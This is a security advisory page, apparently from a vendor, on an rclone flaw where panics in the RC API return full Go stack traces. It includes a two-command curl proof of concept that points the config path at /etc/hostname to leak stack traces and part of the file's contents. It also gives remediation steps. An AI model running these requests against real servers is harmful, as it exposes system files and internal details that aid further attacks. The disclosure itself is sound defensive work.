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GHSA-gwfq-86j8-7qhv

LOW

GHSA-gwfq-86j8-7qhv is a low-severity (CVSS 2.7) vulnerability in github.com/rclone/rclone. O3 Security confirms whether GHSA-gwfq-86j8-7qhv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

rclone: Verbose Stack Trace Disclosure in RC API Error Responses

Published
Aug 5, 2026
Updated
Aug 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected
🐹github.com/rclone/rclone

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller.

Details

The panic recovery in fs/rc/jobs/job.go:110-115:

func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) {
    defer func() {
        if r := recover(); r != nil {
            j.mu.Lock()
            j.EndTime = time.Now()
            j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack()))
            // ...
        }
    }()

The full debug.Stack() output is placed into j.Error, which is then returned in the HTTP response JSON.

PoC

Trigger a parse error by setting config path to a non-INI file, then calling dump:

curl -s -X POST http://localhost:5572/config/setpath \
  -H "Content-Type: application/json" \
  -d '{"path":"/etc/hostname"}' 

curl -s -X POST http://localhost:5572/config/dump

Response includes:

{
  "error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...",
  "status": 500
}

Disclosed information includes:

  • Full filesystem paths (github.com/rclone/rclone/fs/config/config.go:377)
  • Go module versions (github.com/go-chi/chi/[email protected])
  • Go runtime version (from binary)
  • Goroutine IDs and states
  • Memory addresses (ASLR leak)
  • File contents (first unparseable line of the target file)

Tested and confirmed on rclone v1.74.4.

Impact

Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files.

Affected Versions

All versions with RC API support through at least v1.74.4.

Remediation

Return a generic error message to the API caller. Log the full stack trace server-side only. Strip debug.Stack() from HTTP responses.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/rclone/rcloneall versions1.75.0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/rclone/rclone. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/rclone/rclone to 1.75.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gwfq-86j8-7qhv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-gwfq-86j8-7qhv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-gwfq-86j8-7qhv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary When an RC API call triggers a panic (recovered by the job runner), the full Go stack trace is included in the JSON error response. This leaks internal file paths, Go module versions, goroutine state, and memory addresses to the API caller. ### Details The panic recovery in `fs/rc/jobs/job.go:110-115`: ```go func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) { defer func() { if r := recover(); r != nil { j.mu.Lock() j.EndTime = time.Now() j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack()))
O3 Security · Impact-Aware SCA

Is GHSA-gwfq-86j8-7qhv in your dependencies?

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